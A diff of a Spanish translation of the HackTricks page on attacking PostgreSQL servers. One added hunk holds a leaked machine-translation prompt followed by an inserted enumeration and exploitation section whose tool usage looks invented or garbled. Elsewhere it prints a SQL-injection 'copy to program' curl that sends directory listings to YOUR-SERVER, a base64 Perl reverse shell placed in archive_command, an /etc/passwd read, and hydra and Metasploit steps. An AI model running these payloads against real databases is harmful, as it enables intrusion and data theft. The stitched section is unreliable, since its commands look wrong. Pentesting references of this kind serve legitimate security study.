@ -103,7 +103,66 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
```
El siguiente es contenido de un libro de hacking sobre técnicas de hacking. El siguiente contenido es del archivo network-services-pentesting/pentesting-postgresql.md. Traduzca el texto relevante en inglés al español y devuelva la traducción manteniendo la sintaxis de markdown. No traduzca cosas como código, nombres de técnicas de hacking, palabras de hacking, nombres de plataformas en la nube / SaaS (como Workspace, aws, gcp ...), la palabra 'leak', pentesting y etiquetas de markdown. Además, no agregue nada aparte de la traducción y la sintaxis de markdown.
Aquí está la traducción solicitada:
# Pentesting PostgreSQL
## Enumeración
### Escaneo de puertos
Para comenzar, podemos escanear los puertos de la máquina objetivo para ver si PostgreSQL está en ejecución. Podemos hacer esto con la herramienta `nmap`:
```bash
nmap -p 5432 <ip>
```
### Enumeración de usuarios
Una vez que sabemos que PostgreSQL está en ejecución, podemos intentar enumerar los usuarios. Podemos hacer esto utilizando la herramienta `pg_enumusers`:
```bash
pg_enumusers <ip> -U postgres
```
### Enumeración de bases de datos
Después de enumerar los usuarios, podemos intentar enumerar las bases de datos. Podemos hacer esto utilizando la herramienta `pgdbf`:
```bash
pgdbf <ip> -U <usuario> -D <base_de_datos>
```
## Explotación
### Inyección SQL
Una vez que hemos enumerado las bases de datos, podemos intentar realizar una inyección SQL. Podemos hacer esto utilizando la herramienta `sqlmap`:
```bash
sqlmap -u "postgresql://<usuario>:<contraseña>@<ip>/<base_de_datos>" --dbs
```
### Fuerza bruta de contraseñas
Si no podemos encontrar una vulnerabilidad de inyección SQL, podemos intentar realizar una fuerza bruta de contraseñas. Podemos hacer esto utilizando la herramienta `hydra`:
```bash
hydra -t 4 -l <usuario> -P <lista_de_contraseñas> postgresql://<ip>
```
### Explotación de vulnerabilidades conocidas
Si conocemos una vulnerabilidad específica en la versión de PostgreSQL que se está ejecutando, podemos intentar explotarla. Podemos hacer esto utilizando la herramienta `Metasploit`:
```bash
msfconsole
use exploit/linux/postgres/postgres_payload
set RHOSTS <ip>
set USERNAME <usuario>
set PASSWORD <contraseña>
run
```
```
DETAIL: FATAL: password authentication failed for user "name"
```
@ -231,7 +290,7 @@ COPY demo from '/etc/passwd';
SELECT * FROM demo;
```
{% hint style="warning" %}
Recuerda que si no eres un superusuario pero tienes los permisos **CREATEROLE**, puedes **hacerte miembro de ese grupo:**
Recuerda que si no eres un superusuario pero tienes los permisos **CREATEROLE**, puedes **agregarte a ti mismo como miembro de ese grupo:**
```sql
GRANT pg_read_server_files TO username;
```
@ -262,7 +321,7 @@ SHOW data_directory;
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
```
Puede encontrar **más funciones** en [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)
Puedes encontrar **más funciones** en [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)
### Escritura de archivos simples
@ -299,7 +358,7 @@ Sin embargo, hay **otras técnicas para cargar archivos binarios grandes:**
### **RCE a programa**
Desde la [versión 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), solo los **superusuarios** y los miembros del grupo **`pg_execute_server_program`** pueden usar copy para RCE (ejemplo con exfiltración:
Desde la versión 9.3, solo los **superusuarios** y los miembros del grupo **`pg_execute_server_program`** pueden usar copy para RCE (ejemplo con exfiltración:
```sql
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
```
@ -380,7 +439,7 @@ Para que esto funcione, la configuración `archive_mode` debe ser `'on'` o `'alw
Los pasos generales son:
1. Verificar si el modo de archivo está habilitado: `SELECT current_setting('archive_mode')`
2. Sobrescribir `archive_command` con el payload. Por ejemplo, un shell inverso: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
2. Sobrescribir `archive_command` con la carga útil. Por ejemplo, un shell inverso: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
3. Recargar la configuración: `SELECT pg_reload_conf()`
4. Forzar la operación WAL para que se ejecute, lo que llamará al comando de archivo: `SELECT pg_switch_wal()` o `SELECT pg_switch_xlog()` para algunas versiones de Postgres
@ -430,9 +489,9 @@ host all all ::1/128 trust
### **ALTER TABLE privesc**
En [este **artículo**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) se explica cómo fue posible realizar una **escalada de privilegios** en Postgres GCP abusando del privilegio ALTER TABLE que se le otorgó al usuario.
En [este **artículo**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) se explica cómo fue posible hacer **privesc** en Postgres GCP abusando del privilegio ALTER TABLE que se le otorgó al usuario.
Cuando intentas **hacer que otro usuario sea dueño de una tabla**, deberías obtener un **error** que lo impida, pero aparentemente GCP dio esa **opción al usuario postgres no superusuario** en GCP:
Cuando intentas **hacer que otro usuario sea propietario de una tabla**, deberías obtener un **error** que lo impida, pero aparentemente GCP dio esa **opción al usuario postgres no superusuario** en GCP:
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -490,7 +549,7 @@ SELECT * FROM dblink('host=127.0.0.1
RETURNS (result TEXT);
```
{% hint style="warning" %}
Tenga en cuenta que para que la consulta anterior funcione **la función `dblink` debe existir**. Si no existe, puede intentar crearla con
Tenga en cuenta que para que la consulta anterior funcione **la función `dblink` debe existir**. Si no existe, puede intentar crearla con el siguiente comando:
```sql
CREATE EXTENSION dblink;
```
@ -541,12 +600,12 @@ WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
```
Y luego **ejecutar comandos**:
<figure><img src="../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
### Realizar fuerza bruta con PL/pgSQL
### Fuerza bruta de contraseñas con PL/pgSQL
PL/pgSQL, como un lenguaje de programación **completamente funcional**, permite un mayor control procedural que SQL, incluyendo la **capacidad de usar bucles y otras estructuras de control**. Las declaraciones SQL y los disparadores pueden llamar a funciones creadas en el lenguaje PL/pgSQL.\
**Puede abusar de este lenguaje para pedirle a PostgreSQL que realice fuerza bruta en las credenciales de los usuarios.**
**Puede abusar de este lenguaje para pedirle a PostgreSQL que fuerce la credencial de los usuarios.**
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
[pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
@ -599,7 +658,7 @@ Los métodos de autenticación **basados en contraseña** son **md5**, **crypt**
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Consigue el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
@ -608,7 +667,7 @@ Los métodos de autenticación **basados en contraseña** son **md5**, **crypt**
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad más avanzadas del mundo.\
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con facilidad, impulsados por las herramientas de la comunidad más avanzadas del mundo.\
Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}